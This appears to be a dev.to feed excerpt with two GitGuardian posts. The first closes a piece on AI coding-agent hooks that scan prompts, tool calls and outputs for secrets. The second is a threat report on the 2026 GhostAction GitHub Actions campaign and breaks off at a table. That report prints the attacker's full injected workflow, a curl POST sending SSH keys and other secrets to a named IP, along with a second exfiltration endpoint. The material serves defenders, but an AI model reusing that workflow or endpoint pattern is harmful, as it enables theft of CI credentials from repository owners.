&lt;p&gt;That second part is exactly why coding assistants have added hooks.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are AI hooks?
&lt;/h2&gt;

&lt;p&gt;A hook is simply a piece of code that runs automatically when something specific happens.&lt;/p&gt;

&lt;p&gt;Developers have used this idea for years. This is how compilers and operating systems have called out, at the right time, to other parts of the system when needed. Most developers are probably &lt;a href="https://blog.gitguardian.com/git-hooks-automated-secrets-detection/" rel="noopener noreferrer"&gt;familiar with Git hooks&lt;/a&gt;. For example, a pre-commit hook runs before Git creates a commit. A team can use that moment to check the code, run tests, or scan for secrets. If the check fails, the commit can be stopped.&lt;/p&gt;

&lt;p&gt;AI hooks apply the same basic idea to an agent.&lt;/p&gt;

&lt;p&gt;When an agent gets a prompt, reads a file, runs a shell command, calls an MCP server, or uses another tool, multiple steps must happen before and after the LLM is invoked to reason about it.&lt;/p&gt;

&lt;p&gt;Hooks let us place checks at those important moments.&lt;/p&gt;

&lt;p&gt;For example, we can run a hook before the agent executes a command. The hook can inspect that command and decide whether it should be allowed.&lt;/p&gt;

&lt;p&gt;A prompt might say: &lt;code&gt;"Never execute dangerous shell commands."&lt;/code&gt;&lt;br&gt;
That is guidance. The agent still has to decide what counts as dangerous and whether the larger task justifies doing it anyway.&lt;/p&gt;

&lt;p&gt;A hook can be much more direct: &lt;code&gt;If command == 'rm -rf' then exit 2&lt;/code&gt;&lt;br&gt;
Note: Exit 2 means stop this step; continue no further, from the system level.&lt;/p&gt;

&lt;p&gt;That is enforcement.&lt;/p&gt;

&lt;p&gt;Claude Code calls this kind of checkpoint PreToolUse. Before a tool runs, another program can inspect what the agent is trying to do and allow or deny it.&lt;/p&gt;

&lt;p&gt;The same idea applies to other points in the workflow. A hook can inspect a prompt before it reaches the model. It can check a file read before the agent sees the contents. It can inspect what comes back from a tool after it runs.&lt;/p&gt;

&lt;p&gt;The agent can reason however it wants. It can decide that a certain command, file, or tool is the fastest way to complete the job. The hook sits directly in the path between that decision and the action.&lt;/p&gt;
&lt;h2&gt;
  
  
  Claude Code hooks, Cursor hooks, and Codex hooks compared
&lt;/h2&gt;

&lt;p&gt;While everyone agrees hooks should exist, and architectures are being designed to accommodate them, there is no single industry standard right now. And the terminology is still messy.&lt;/p&gt;

&lt;p&gt;For example, &lt;a href="https://code.claude.com/docs/en/hooks" rel="noopener noreferrer"&gt;Claude Code documents 33 hook events&lt;/a&gt; (at the time of posting) covering everything from UserPromptSubmit and PreToolUse through task creation, permission requests, model switching, context compaction, and session lifecycle events.&lt;/p&gt;

&lt;p&gt;Cursor currently documents 21 events across agent interactions, Tab operations, and workspace lifecycle events. Its hooks can inspect or control shell execution, MCP calls, file reads, prompts, tool calls, subagents, and other parts of the agent loop. Cursor explicitly lists scanning for secrets and gating risky operations as hook use cases.&lt;/p&gt;

&lt;p&gt;They do not use exactly the same names or expose exactly the same capabilities. There is no centrally agreed-upon hook standard that every coding assistant follows today. But there are some important similarities and a growing convergence towards putting hooks around the most dangerous moments.&lt;/p&gt;

&lt;p&gt;Everyone building these systems has to account for roughly the same workflow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A prompt is entered.&lt;/li&gt;
&lt;li&gt;The model decides to use a tool.&lt;/li&gt;
&lt;li&gt;The tool is about to execute.&lt;/li&gt;
&lt;li&gt;The tool executes.&lt;/li&gt;
&lt;li&gt;Something comes back.&lt;/li&gt;
&lt;li&gt;The agent continues.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmsdjapajx2crlossy8zw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmsdjapajx2crlossy8zw.png" alt="Flowchart of the six-step AI agent loop, with three GitGuardian AI Hooks checkpoints" width="800" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Those transitions give security teams places to enforce policy without trying to anticipate every behavior the model might attempt.&lt;/p&gt;

&lt;p&gt;Cursor has even added support for loading Claude Code hook configurations, translating Claude hook names into Cursor equivalents. That is an encouraging sign that interoperability around these control points is beginning to emerge.&lt;/p&gt;
&lt;h2&gt;
  
  
  Hooks let security focus on capability, not intent
&lt;/h2&gt;

&lt;p&gt;There is a lot of attention on whether an agent is behaving correctly. That is certainly useful and worth discussion, as we can indeed use policy as code to stop the most harmful actions. But intent gets complicated very quickly, and ever-escalating rule creation turns into an endless game of whack-a-mole.&lt;/p&gt;

&lt;p&gt;An agent that reads your ~/.aws/credentials might genuinely be troubleshooting an AWS authentication error. An MCP server call could return an API key without the agent or the developer ever expecting it. A developer could paste a token into a debugging prompt without noticing it.&lt;/p&gt;

&lt;p&gt;None of these scenarios requires a malicious agent. But each arm the agent with access it might or might not use in an expected way. Along the way, it logs and copies those keys, creating security incidents wherever they appear in plaintext.&lt;/p&gt;

&lt;p&gt;Hooks allow us to ask, from a system level, if the agent even should be allowed to use, or see, any secrets along its path.&lt;/p&gt;

&lt;p&gt;That is the question GitGuardian AI Hooks are designed to answer for credentials.&lt;/p&gt;
&lt;h2&gt;
  
  
  GitGuardian AI Hooks put secret detection inside the agent loop
&lt;/h2&gt;

&lt;p&gt;GitGuardian's mission is securing the credential layer across the whole enterprise by helping teams detect, remediate, and prevent secrets sprawl.&lt;/p&gt;

&lt;p&gt;Credentials are how we connect people, applications, infrastructure, services, and increasingly AI agents. These plaintext strings move through many surfaces that can hold text, including repositories, CI/CD systems, developer laptops, collaboration tools, cloud infrastructure, and now, AI workflows. Unfortunately, secrets sprawl is a growing issue, not a static one, and it grew 34% year over year, as we saw &lt;a href="https://www.gitguardian.com/state-of-secrets-sprawl-report-2026" rel="noopener noreferrer"&gt;28.7 million hardcoded secrets added to GitHub public repos in 2025 alone&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Preventing secrets from being created, stored, or used by an AI agent is now a critical part of that story. That is the story of &lt;a href="https://docs.gitguardian.com/endpoint-protection/ai-hooks" rel="noopener noreferrer"&gt;GitGuardian's AI Hooks&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;GitGuardian AI Hooks are part of ggshield, GitGuardian's CLI, which extends the power of the platform into local tools. This is actually a critical point.&lt;/p&gt;

&lt;p&gt;We are introducing a way to run a deterministic tool against any leading AI agent within their workflow. We are not suggesting they not use secrets. The tooling tries to make workflows stop if a secret is introduced.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6hp3g1qvm7vhsveov5r6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6hp3g1qvm7vhsveov5r6.png" alt="AI hook stages screenshot from the GitGuardian docs" width="800" height="490"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are three major stages of an AI interaction where our hooks run. While we are using &lt;a href="https://cursor.com/docs/hooks" rel="noopener noreferrer"&gt;Cursor's naming here&lt;/a&gt;, the equivalent exists in all other platforms we support:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;beforeSubmitPrompt:&lt;/strong&gt; Scan what the developer is sending before the model receives it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;preToolUse:&lt;/strong&gt; Scan commands, file reads, and MCP calls before the agent executes them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;postToolUse:&lt;/strong&gt; Scan information returned by a tool after it runs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;GitGuardian uses the same secrets detection engine trusted by our customers to deliver the cleanest &lt;a href="https://blog.gitguardian.com/secrets-detection-accuracy-precision-recall-explained/" rel="noopener noreferrer"&gt;signal-to-noise ratio&lt;/a&gt;, reducing false positives more than anyone.&lt;/p&gt;

&lt;p&gt;Each of these stages protects a different path.&lt;/p&gt;
&lt;h2&gt;
  
  
  Stop secrets before they enter the prompt
&lt;/h2&gt;

&lt;p&gt;The most obvious leak starts with the developer. When someone copies any text into Claude Code, Windsurf, Codex, or Cursor, it is pretty obvious the agent gets access to any keys that come along with the pasted text.&lt;/p&gt;

&lt;p&gt;It might take the form of an error message that contains an &lt;a href="https://blog.gitguardian.com/api-key-security-7/" rel="noopener noreferrer"&gt;API key&lt;/a&gt;. Or maybe someone pastes a curl command containing a bearer token. Or if part of a configuration file gets copied and the developer misses a plaintext credential in the middle of a giant file.&lt;/p&gt;

&lt;p&gt;Once you configure GitGuardian AI Hooks, ggshield scans the prompt before it reaches the model. If it detects a secret, it can block the interaction and alert the developer.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/TykevwaEHK0?start=269" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;The UserPromptSubmit protection sees the credential before the model needs to reason about the request at all. The model never has to make the right decision about the credential because it never receives the credential.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stop the agent when its own exploration leads to a secret
&lt;/h2&gt;

&lt;p&gt;Agents get asked to do all sorts of things. Some things sound completely harmless on the surface, but introduce dangers we might not expect.&lt;/p&gt;

&lt;p&gt;Consider cloning an internal repository locally. You might, as a first step, ask the agent to: &lt;code&gt;"Read and explain what this code does."&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Nothing about that instruction says "go find a secret," but if any files in the project &lt;a href="https://blog.gitguardian.com/secure-your-secrets-with-env/" rel="noopener noreferrer"&gt;contain a secret&lt;/a&gt;, the agent now has access to those systems. Later in the same session, an agent might determine the best path forward is to use the keys it found and access something you never intended it to access, like production.&lt;/p&gt;

&lt;p&gt;The agent is following the mission, not your governance program.&lt;/p&gt;

&lt;p&gt;GitGuardian's pre-tool protection can inspect file reads, shell commands, and MCP calls before execution. When that operation contains a detected secret, it can be blocked before the credential reaches the model.&lt;/p&gt;

&lt;h3&gt;
  
  
  Deterministic controls vs. execution logic
&lt;/h3&gt;

&lt;p&gt;Imagine the same scenario again where a repo that might contain a secret is analyzed. Thinking ahead, we could write another Markdown rule like &lt;code&gt;"Never read files containing credentials."&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;While this might be the desired outcome, the logic behind it has an issue. The agent would have to know the file contains a credential before reading it.&lt;/p&gt;

&lt;p&gt;We can suggest more instructions, like &lt;code&gt;"Dump any secrets you find from memory."&lt;/code&gt;&lt;br&gt;
But this assumes it knows precisely what you mean by credential or memory. Either way, it still has to have the secret before this could ever be considered, and by then the danger is very real.&lt;/p&gt;

&lt;p&gt;A deterministic tool, invoked via a hook, can actually inspect the action at the boundary. It will do so consistently, with a workflow log you can audit reliably.&lt;/p&gt;
&lt;h2&gt;
  
  
  Catching credentials that it finds after a tool runs
&lt;/h2&gt;

&lt;p&gt;Developers should lock their secrets away from the agents locally, as much as possible. Again, sandboxing can help a good deal here.&lt;/p&gt;

&lt;p&gt;But many sources are outside the developer's control.&lt;/p&gt;

&lt;p&gt;When the agent executes a shell command, the output might contain a credential. When it calls an MCP tool, the response might contain an access token. Debugging commands can dump an environment variable. A remote service returns sensitive configuration data.&lt;/p&gt;

&lt;p&gt;In all cases, after the tool runs, the agent could have new credentials available to help it complete its tasks.&lt;/p&gt;

&lt;p&gt;Post-tool hooks create another checkpoint.&lt;/p&gt;

&lt;p&gt;GitGuardian AI Hooks scans the output and takes the strongest action the individual assistant supports. Every agent differs in how exactly you can affect the workflow. For example, Claude Code can currently withhold secret-bearing output for shell commands and file reads. Codex and Mistral Vibe can withhold output across every supported tool.&lt;/p&gt;

&lt;p&gt;We anticipate these implementations will keep changing as these assistants evolve. We are dedicated to staying up on these developments and updating ggshield to accommodate these changes.&lt;/p&gt;

&lt;p&gt;But the architectural idea remains the same: At every important boundary, inspect what is about to cross it.&lt;/p&gt;
&lt;h2&gt;
  
  
  How to set up AI hooks with ggshield machine setup
&lt;/h2&gt;

&lt;p&gt;Current versions of ggshield can detect supported AI coding assistants and configure their hook systems automatically. Once the CLI is installed and authenticated, the developer or an install script will run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ggshield machine setup
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is all that is needed. After this, any agents running on the machine will have these three AI hooks enabled. There are options to install just for single agents. There is also the option to install hooks locally in the project, which will then be committed to the codebase, empowering any other developers who have ggshield installed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffhhwg3w2kb8smbd90i26.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffhhwg3w2kb8smbd90i26.png" alt="Claude Code explaining that GitGuardian AI hooks are installed" width="800" height="366"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://docs.gitguardian.com/ggshield-docs/integrations/ai-coding-tools/secret-scanning-for-ai-coding-tools#where-the-hooks-are-written" rel="noopener noreferrer"&gt;GitGuardian currently supports hook integrations&lt;/a&gt; across Claude Code, Cursor, Codex, Copilot CLI, VS Code, Mistral Vibe, Kiro, and Junie CLI, with capabilities varying based on what each assistant exposes.&lt;/p&gt;

&lt;p&gt;GitGuardian's ggshield can also be deployed via MDM solutions like Iru, Jamf, or Intune. This lets security teams roll out protections to all developer laptops programmatically, freeing the developers from needing to install one more tool from their end.&lt;/p&gt;

&lt;p&gt;Deploying through MDM is also how teams integrate &lt;a href="https://www.gitguardian.com/developer-endpoint-protection" rel="noopener noreferrer"&gt;GitGuardian Developer Endpoint Protection&lt;/a&gt;. This lets teams get real visibility into what secrets live on the developer laptop, assigning risk values and mapping where else the secret exists in your environments. Developer Endpoint Protection empowers teams to discover and revoke any exposed credentials that shouldn't be on a device before a security incident starts.&lt;/p&gt;

&lt;p&gt;Stopping agents from abusing any secrets it finds is part of the larger mission of the platform to detect, remediate, and prevent secrets sprawl.&lt;/p&gt;

&lt;h2&gt;
  
  
  Give agents freedom and put controls at the boundaries
&lt;/h2&gt;

&lt;p&gt;AI agents empower an explosion of new innovation. A lot of this new development is from citizen coders who have no formal code security training. At the same time, those same agents can find paths to access credentials we never would have considered or intended them to find. Prompts and markdown files can point them in the right direction, but security needs controls that hold even when the agent finds other routes.&lt;/p&gt;

&lt;p&gt;Fortunately, coding assistants are increasingly exposing control points that let us make deterministic tool calls at critical moments. GitGuardian engineered our AI Hooks to add secret detection directly into key points throughout the agent workflow to stop secrets sprawl and abuse. We can catch credentials in prompts, tool calls, file reads, commands, and tool output before they are used or can spread further.&lt;/p&gt;

&lt;p&gt;If you are already using an AI coding assistant, start using &lt;a href="https://docs.gitguardian.com/ggshield-docs/integrations/ai-coding-tools/secret-scanning-for-ai-coding-tools" rel="noopener noreferrer"&gt;ggshield AI Hooks today&lt;/a&gt;. Give your agents the freedom to solve problems, and put deterministic protection around the credentials they should never get to use.&lt;/p&gt;

&lt;p&gt;If you need to deploy AI hooks at scale, we would love to help you get started. &lt;a href="https://www.gitguardian.com/book-a-demo" rel="noopener noreferrer"&gt;Set up AI hooks.&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What are AI hooks?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AI hooks are pieces of code that run automatically at specific moments in an AI agent's workflow, such as when a prompt is submitted, before a tool runs, or after a tool returns output. They work like Git hooks, giving security teams deterministic checkpoints that can allow or block an action regardless of how the agent reasoned about the task.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why aren't prompts and instruction files like AGENTS.md enough to secure AI coding agents?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Natural language instructions are guidance the agent has to interpret. A rule like "never modify production data" can be weighed against a larger mission such as fixing the application, and a capable agent may find another tool, credential, or API to get around it. Security needs deterministic controls that hold even when the agent finds another route.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the difference between a control and a suggestion for AI agents?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A suggestion is a plain language instruction the agent can reinterpret or ignore. A control is enforced at the system level, so the agent has no say in whether it applies. Examples include removing a command from the available tools, blocking an endpoint in egress rules, or using a hook that stops a step before it executes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do AI hooks help prevent secrets from reaching AI coding assistants?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hooks place a secret scan at the key boundaries of the agent loop. GitGuardian AI Hooks scan prompts before the model receives them, inspect commands, file reads, and MCP calls before the agent executes them, and scan tool output after it runs. If a secret is detected, the workflow can be stopped or the output withheld before the credential spreads further.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which AI coding assistants support GitGuardian AI Hooks?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;GitGuardian currently supports hook integrations across Claude Code, Cursor, Codex, Copilot CLI, VS Code, Mistral Vibe, Kiro, and Junie CLI. Capabilities vary based on what each assistant exposes. For example, Claude Code can withhold secret-bearing output for shell commands and file reads, while Codex and Mistral Vibe can withhold output across every supported tool.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do I set up GitGuardian AI Hooks?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Install and authenticate the ggshield CLI, then run &lt;code&gt;ggshield machine setup&lt;/code&gt;. ggshield detects supported AI coding assistants on the machine and configures their hook systems automatically. You can also install for a single agent, or install hooks at the project level so other developers with ggshield get the same protection. Security teams can deploy ggshield at scale through MDM solutions like Iru, Jamf, or Intune.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>claudecode</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>GhostAction Returns: 772 Repos Hit in New GitHub Actions Wave</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Tue, 13 Oct 2026 17:12:18 +0000</pubDate>
      <link>https://dev.to/gitguardian/ghostaction-returns-772-repos-hit-in-new-github-actions-wave-576o</link>
      <guid>https://dev.to/gitguardian/ghostaction-returns-772-repos-hit-in-new-github-actions-wave-576o</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwt9npq6mojq4bghmtk5f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwt9npq6mojq4bghmtk5f.png" alt="The campaign that never stopped: tracking GhostAction from 2025 to 2026" width="800" height="468"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update, Oct. 9, 2026:&lt;/strong&gt; The campaign did not stop at the end of September. On Oct. 8, a new burst hit 346 repositories in two automated sweeps lasting minutes, according to &lt;a href="https://socket.dev/blog/ghostaction-cloud-credentials" rel="noopener noreferrer"&gt;analysis published by Socket's research team&lt;/a&gt;. Two compromised maintainer accounts, kitao and henrywoo, pushed a workflow named &lt;code&gt;security-audit.yml&lt;/code&gt; into every repository they could write to, including kitao/pyxel (18,420 stars) and uber/athenadriver. The exfiltration endpoint is the same 193.32.204.199 address documented below. Socket also reports that this variant sweeps the working tree and full git history for cloud credentials, not only GitHub Actions secrets. Unlike the September wave, where most runs stalled awaiting approval, these runs executed, and Socket confirms successful exfiltration. We are reviewing the new wave against our own data and will update this post.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The campaign we revealed back in September 2025 is back.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In September 2025, GitGuardian &lt;a href="https://blog.gitguardian.com/ghostaction-campaign-3-325-secrets-stolen/" rel="noopener noreferrer"&gt;alerted to an ongoing supply chain attack&lt;/a&gt; we named GhostAction. That campaign compromised 817 public repositories across 327 GitHub users and exfiltrated at least 3,325 secrets. The attack relied on injecting a malicious workflow to steal credentials from victims' CI/CD pipelines, likely using previously compromised credentials. This technique was later reused during the &lt;a href="https://blog.gitguardian.com/shai-hulud-2/" rel="noopener noreferrer"&gt;Shai-Hulud campaigns&lt;/a&gt; and remains at the core of the &lt;a href="https://blog.gitguardian.com/keyv-mini-shai-hulud/" rel="noopener noreferrer"&gt;Mini Shai-Hulud malware family&lt;/a&gt;, which is still used today.&lt;/p&gt;

&lt;p&gt;This campaign saw a new spike in summer 2026. Researchers from &lt;a href="https://cynative.com/" rel="noopener noreferrer"&gt;Cynative&lt;/a&gt; independently observed the malicious commits and reached out to us about it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Same techniques, new victims
&lt;/h2&gt;

&lt;p&gt;The new wave of this campaign started around Aug. 31st, at 2 pm GMT. It uses the exact same techniques and payload we described for the previous wave:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A workflow file named &lt;code&gt;github_actions_security.yml&lt;/code&gt; is injected into the victim repo&lt;/li&gt;
&lt;li&gt;The commit message is set to &lt;code&gt;Add Github Actions Security workflow&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Rather than dumping the entire environment, the workflow hardcodes the names of the secrets the attacker found referenced in the repository's legitimate workflows. It then sends their values in a single &lt;code&gt;curl&lt;/code&gt; POST request to the attacker's server.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Github Actions Security&lt;/span&gt;

&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;workflow_dispatch&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;send-secrets&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;

    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Prepare Cache Busting&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "CACHE_BUST=$(date +%s)" &amp;gt;&amp;gt; $GITHUB_ENV&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Github Actions Security&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;curl -s -X POST -d 'VPS_HOST=${{ secrets.VPS_HOST }}&amp;amp;VPS_SSH_KEY=${{ secrets.VPS_SSH_KEY }}&amp;amp;VPS_USER=${{ secrets.VPS_USER }}' http://193.32.204.199&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As in 2025, the 2026 attacker almost certainly scraped existing workflow/config history for &lt;code&gt;${{ secrets.NAME }}&lt;/code&gt; references, then inserted those same names into the exfiltration workflow.&lt;/p&gt;

&lt;p&gt;The only significant change is the exfiltration endpoint. The 2025 wave used &lt;code&gt;bold-dhawan.45-139-104-115.plesk.page&lt;/code&gt; and &lt;code&gt;carte-avantage.com&lt;/code&gt;. This wave sends the stolen secrets over plain HTTP to a bare IP address: &lt;code&gt;193.32.204.199&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;On Sept. 7th, we also saw a small variant appear in 7 repositories. The file is named &lt;code&gt;security-check.yml&lt;/code&gt;, the workflow is called "Security Check", and the commit message is &lt;code&gt;Add security check workflow&lt;/code&gt;. It posts the secrets to a dedicated API on the same server, with a unique identifier for each injection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hxxp://193.32.204.199:3000/api/workflow/receive?inj=&amp;lt;id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where &lt;code&gt;id&lt;/code&gt; is a unique identifier built into the malicious workflow.&lt;/p&gt;

&lt;p&gt;This suggests the attacker now uses a backend that tracks which injection each stolen secret came from.&lt;/p&gt;

&lt;h2&gt;
  
  
  The scale of the new wave
&lt;/h2&gt;

&lt;p&gt;Between Aug. 31st and Sept. 30th, 2026, the malicious workflow was pushed to 772 public repositories belonging to 373 GitHub users and organizations. As in 2025, every commit was made with the victim's own identity, using what appear to be stolen credentials.&lt;/p&gt;

&lt;p&gt;The injections did not happen all at once. We observed three main bursts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Aug. 31st: 143 repositories&lt;/li&gt;
&lt;li&gt;Sept. 2nd to 5th: about 400 repositories, with a peak of 294 on Sept. 5th&lt;/li&gt;
&lt;li&gt;Sept. 15th: 103 repositories&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Smaller injections continued until the end of September.&lt;/p&gt;

&lt;p&gt;Across those repositories, the injected workflows target 2,577 secrets. Some of them, such as hostnames, usernames, or ports, are not sensitive on their own, but the attacker collects them alongside the credentials they belong to. The most targeted secrets are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SSH private keys and deployment server credentials (446)&lt;/li&gt;
&lt;li&gt;Azure credentials (218), with one organization alone exposing an Azure PAT and an SSH key in 92 repositories&lt;/li&gt;
&lt;li&gt;Container registry credentials for DockerHub and GHCR (142)&lt;/li&gt;
&lt;li&gt;Database credentials (112)&lt;/li&gt;
&lt;li&gt;AWS access keys (106)&lt;/li&gt;
&lt;li&gt;FTP credentials (92)&lt;/li&gt;
&lt;li&gt;Google Cloud and Firebase credentials (80)&lt;/li&gt;
&lt;li&gt;GitHub tokens (66)&lt;/li&gt;
&lt;li&gt;Telegram, Slack, and Discord bot tokens, plus Cloudflare, npm, PyPI, and AI provider keys&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3xqdrniyxcjieou4mc15.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3xqdrniyxcjieou4mc15.png" alt="Number of secret names observed" width="800" height="563"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By matching the malicious workflow to its GitHub Actions run records, we found that GitHub held most runs for approval: of the 3,669 runs we collected across 605 repositories, only 499 executed, in 32 repositories. Because the workflow triggers on every push, these runs were mostly caused by legitimate commits pushed after the injection rather than by the injection itself. In total, 336 runs completed successfully, exfiltrating 26 secrets from 13 repositories, with new runs still triggering as of writing.&lt;/p&gt;

&lt;p&gt;The cleanup trail is visible in public history: dozens of later commits explicitly describe removing a malicious or credential-exfiltrating workflow. Only 124 repositories (16%) were effectively cleaned in observed public history by 2026-10-05.&lt;/p&gt;

&lt;h2&gt;
  
  
  A campaign that never stopped
&lt;/h2&gt;

&lt;p&gt;Calling this new wave a revival would be inaccurate. Our data shows that GhostAction never really stopped.&lt;/p&gt;

&lt;p&gt;The clearest evidence is in the commits themselves. In 92 cases, the attacker did not add a new workflow. They modified one already in the repository, with the commit message &lt;code&gt;Update Github Actions Security workflow&lt;/code&gt;. These workflows were injected during earlier waves and never removed. The attacker simply pointed them at the new endpoint. The replaced endpoints include the original &lt;code&gt;bold-dhawan.45-139-104-115.plesk.page&lt;/code&gt; from September 2025, &lt;code&gt;carte-avantage.com&lt;/code&gt;, and an endpoint we had not documented before: &lt;code&gt;170.39.218.2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Following the exact workflow template through our historical data gives a clearer timeline of the campaign:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
